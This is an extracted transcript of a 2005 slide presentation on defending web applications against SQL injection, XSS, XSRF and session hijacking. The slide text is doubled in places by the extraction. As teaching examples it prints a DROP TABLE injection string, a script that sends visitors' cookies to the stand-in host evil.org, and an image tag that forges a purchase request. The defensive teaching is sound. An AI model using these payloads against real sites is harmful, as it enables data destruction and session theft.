9/9/2005 developing "secure" web applications 1 methods & concepts for developing...

23
9/9/2005 9/9/2005 Developing "Secure" Web App Developing "Secure" Web App lications lications 1 Methods & Concepts for Methods & Concepts for Developing “Secure” Developing “Secure” Web Applications Web Applications Peter Y. Hammond, Peter Y. Hammond, Developer Developer Wasatch Front Regional Wasatch Front Regional MLS MLS

Upload: marilynn-hood

Post on 18-Dec-2015

219 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

9/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications 11

Methods & Concepts for Methods & Concepts for Developing “Secure” Web Developing “Secure” Web

ApplicationsApplications

Peter Y. Hammond, DeveloperPeter Y. Hammond, Developer

Wasatch Front Regional MLSWasatch Front Regional MLS

Page 2: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

229/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

Common Myths of Database SecurityCommon Myths of Database Security

Corporate FirewallCorporate Firewall

Office FirewallOffice Firewall

Updated Virus DefsUpdated Virus Defs

Tightly Secured ServerTightly Secured Server

Obsessive SysAdminObsessive SysAdmin

Something is Something is STILLSTILL missing ! missing !

ImpenetrableImpenetrableDatabase ?Database ?}}

Page 3: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

339/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

Do You Think You’re Safe ?Do You Think You’re Safe ?

w/o Application-level Security, a hacker could:w/o Application-level Security, a hacker could:

Alter any data directly in your databaseAlter any data directly in your database

Selectively delete or alter any listings Selectively delete or alter any listings

Delete your entire listings databaseDelete your entire listings database

Harvest user’s login info from your siteHarvest user’s login info from your site

Do malicious things to your site’s usersDo malicious things to your site’s users

Lesson:Lesson: We live in perilous times We live in perilous times

Page 4: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

449/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

Presentation OutlinePresentation OutlineWhat What Application SecurityApplication Security is is

Why Why Application SecurityApplication Security is hard is hard

Common Common Application SecurityApplication Security Lingo Lingo

The The Application SecurityApplication Security Golden Rule Golden Rule

Preventing SQL Injection exploitsPreventing SQL Injection exploits

Preventing XSS / XSRF exploitsPreventing XSS / XSRF exploits

Preventing Session Hijacking exploitsPreventing Session Hijacking exploits

ConclusionConclusion

Page 5: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

559/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

What Application Security is What Application Security is NOTNOTIt’s not a “secure portal”It’s not a “secure portal”It’s not a product you can purchaseIt’s not a product you can purchaseIt’s not something you can easily add as It’s not something you can easily add as an afterthoughtan afterthoughtIt’s not a “black & white” measurementIt’s not a “black & white” measurement

What Application Security What Application Security ISISIt’s a mindset that developer’s keepIt’s a mindset that developer’s keep

It’s a set of rules for developers to followIt’s a set of rules for developers to follow

It’s measured in “varying shades of grey”It’s measured in “varying shades of grey”

Page 6: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

669/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

Why Application Security is HardWhy Application Security is Hard

Security requires strict development rulesSecurity requires strict development rules

Good security takes time to implementGood security takes time to implement

Developers tend to be “Lazy Geniuses”Developers tend to be “Lazy Geniuses”

Management wants software quickly and Management wants software quickly and with minimal money & effortwith minimal money & effort

““We can always issue a security patch We can always issue a security patch later if we find something wrong”later if we find something wrong”

““No one is REALLY going to hack us”No one is REALLY going to hack us”

Page 7: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

779/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

Application Security Lingo 1Application Security Lingo 1

SQL Injection -SQL Injection -Inadvertently allowing a hacker to Inadvertently allowing a hacker to “inject” SQL queries into your database “inject” SQL queries into your database using YOUR OWN web forms.using YOUR OWN web forms.

XSS – “Cross Site Scripting”XSS – “Cross Site Scripting”Inadvertently allowing a hacker to Inadvertently allowing a hacker to “inject” JavaScript into your web pages “inject” JavaScript into your web pages using YOUR OWN web forms.using YOUR OWN web forms.

Page 8: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

889/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

Application Security Lingo 2Application Security Lingo 2

XSRF – “XSRF – “Cross Site Request Forgery”Cross Site Request Forgery”Inadvertently allowing a hacker to Inadvertently allowing a hacker to “inject” dangerous HTML into your web “inject” dangerous HTML into your web pages using YOUR OWN web forms.pages using YOUR OWN web forms.

Session HiJackingSession HiJackingInadvertently allowing a hacker to Inadvertently allowing a hacker to “capture” a session identifier from a “capture” a session identifier from a logged in user of your site and hijack logged in user of your site and hijack their server session variables.their server session variables.

Page 9: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

999/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

SECURE Web Development RulesSECURE Web Development Rules

1.1. Filter Filter ALLALL Input Input

2.2. Escape Escape ALLALL Output Output

“A little paranoia goes a long way…”

Page 10: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

10109/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

SQL Injection Example 1:SQL Injection Example 1:<form action="/process" method="POST"><select name="color"><option value="red">red</option><option value="green">green</option><option value="blue">blue</option>

</select><input type="submit" /></form>

Form Backend SQL:Form Backend SQL:insert into my_table values (‘FORM{color}’)

Page 11: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

11119/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

SQL Injection Example 2:SQL Injection Example 2:

<form action="http://yoursite.com/process" method="POST">

<input type="text" name="color"><input type="submit" /></form>

The hacker then submits his new form with this text:The hacker then submits his new form with this text:

red’); DROP TABLE my_table; --

A hacker then saves your form HTML to their computer and modifies it to read:

Q:Q: What just happened ? What just happened ?

Page 12: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

12129/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

SQL Injection Example 3:SQL Injection Example 3:

The backend SQL then becomes:The backend SQL then becomes:insert into my_table values (‘red’); DROP TABLE my_table; --’)

Hacker submitted the form with this text:Hacker submitted the form with this text:

red’); DROP TABLE my_table; --

Q: Q: what just happened ?A:A: my_table just went bye bye

Page 13: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

13139/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

FILTER ALL INPUTFILTER ALL INPUTIdentify source of your dataIdentify source of your dataEscape all “special” chars for your DBEscape all “special” chars for your DBAssume submitted data will be badAssume submitted data will be badFor “text” input fields, check string lengthFor “text” input fields, check string lengthFor numeric fields, check value rangesFor numeric fields, check value rangesALWAYS use a “White List” approachALWAYS use a “White List” approachEmploy a naming convention to identifyEmploy a naming convention to identify“filtered” data from unfiltered data“filtered” data from unfiltered data

Lesson:Lesson: This takes work to do it correctly This takes work to do it correctly

Page 14: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

14149/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

Error MessagesError Messages

Error messages should come in 2 flavors:Error messages should come in 2 flavors: A user friendly error message that the user A user friendly error message that the user

sees in the browser.sees in the browser. Technical details which are logged to the Technical details which are logged to the

server – possibly containing SQL errors, etc.server – possibly containing SQL errors, etc.

Users should NEVER see SQL statements Users should NEVER see SQL statements or error messages which contain or error messages which contain references to your database tables, etc.references to your database tables, etc.

Page 15: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

15159/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

White List Approach to FilteringWhite List Approach to Filtering// initialize array to hold filtered valuesCLEAN = new Array();

// Filter data coming in from HTML formswitch(FORM{color}){

case ‘red’:case ‘green’:case ‘blue’:

CLEAN{color} = FORM{color};break;

}

Page 16: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

16169/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

XSS Example 1:XSS Example 1:<form action=“/guestbook" method="POST"><textarea name=“comments"></textarea><input type="submit" /></form>

Form Backend SQL:Form Backend SQL:insert into guests values (‘FORM{comments}’)

Page 17: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

17179/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

XSS Example 2:XSS Example 2:

<script>

document.location = 'http://evil.org/steal_cookies?cookies=' +

document.cookie;

</script>

A hacker then posts his / her “comments” to your guest book:

What happens the next time someoneWhat happens the next time someoneviews this guestbook entry ?views this guestbook entry ?

Page 18: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

18189/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

““Cross Site Request Forgery”Cross Site Request Forgery”[ XSRF ] Example:[ XSRF ] Example:

<img src=“http://amazon.com/buy.cgi?isbn=0596X” />Hi. I just _LOVE_ your site.

What if a renowned author / hacker posted these “comments” ?

Q:Q: What happens the next time someone views this What happens the next time someone views this guestbook entry ?guestbook entry ?

Q:Q: What if they were just on amazon.com and are still What if they were just on amazon.com and are still logged in over there ?logged in over there ?

A:A: You’ve got to love amazon.com’s 1-click ordering… You’ve got to love amazon.com’s 1-click ordering…

Page 19: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

19199/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

ESCAPE ALL OUTPUTESCAPE ALL OUTPUTGOAL:GOAL: Prevent Prevent XSSXSS = “Cross Site Scripting” & = “Cross Site Scripting” &

XSRFXSRF = “Cross-Site Request Forgeries” = “Cross-Site Request Forgeries”Identify source of your dataIdentify source of your dataAlwaysAlways assume data contains assume data contains HTML/JavaScriptHTML/JavaScriptTranslate Translate ALLALL magic chars before displaying magic chars before displaying them to user’s browserthem to user’s browserBare minimum 4 characters to escape:Bare minimum 4 characters to escape:

<< →→ &lt;&lt;>> →→ &gt;&gt;" →→ &quot;&quot;&& →→ &amp;&amp;

Page 20: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

20209/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

Output Escaping Q & AOutput Escaping Q & A

Q:Q: When should I escape output ? When should I escape output ?A:A: Whenever you are displaying a variable Whenever you are displaying a variable

Q:Q: When do I NOT have to escape the When do I NOT have to escape the output ?output ?

A:A: If you have just SET the contents to a If you have just SET the contents to a known value - i.e. an integer counterknown value - i.e. an integer counter

Lesson:Lesson: It’s a good habit to form It’s a good habit to form

Page 21: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

21219/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

Other XSS Safety MeasuresOther XSS Safety Measures

XSS and related exploits typically employ XSS and related exploits typically employ JavaScript to access “trusted” data such JavaScript to access “trusted” data such as browser cookies, session IDs, etc.as browser cookies, session IDs, etc.You can LIMIT JavaScript access to You can LIMIT JavaScript access to cookie data in some browsers if you set cookie data in some browsers if you set the cookie with the “HttpOnly” flag.the cookie with the “HttpOnly” flag.Use the ‘user-agent’ passed in from Use the ‘user-agent’ passed in from browser as an additional identifier. Store browser as an additional identifier. Store in server session, and if it ever changes, in server session, and if it ever changes, direct user back to login screen.direct user back to login screen.

Page 22: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

22229/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

Preventing Session HijackingPreventing Session Hijacking

Only store SESSION_ID in COOKIES – Only store SESSION_ID in COOKIES – never pass it in POST or GET variables.never pass it in POST or GET variables.

Set COOKIES with “HttpOnly” flag. This Set COOKIES with “HttpOnly” flag. This prevents JavaScript access to cookies.prevents JavaScript access to cookies.

Generate random text string as a hidden Generate random text string as a hidden form variable on each form. Store text form variable on each form. Store text string in server session and compare string in server session and compare upon form submission. If not a match, upon form submission. If not a match, problem!problem!

Page 23: 9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional

23239/9/20059/9/2005 Developing "Secure" Web ApplicationsDeveloping "Secure" Web Applications

CreditsCredits

PHP Security Consortium Libraryhttp://phpsec.org/library/

PHP Security Guidehttp://phpsec.org/projects/guide/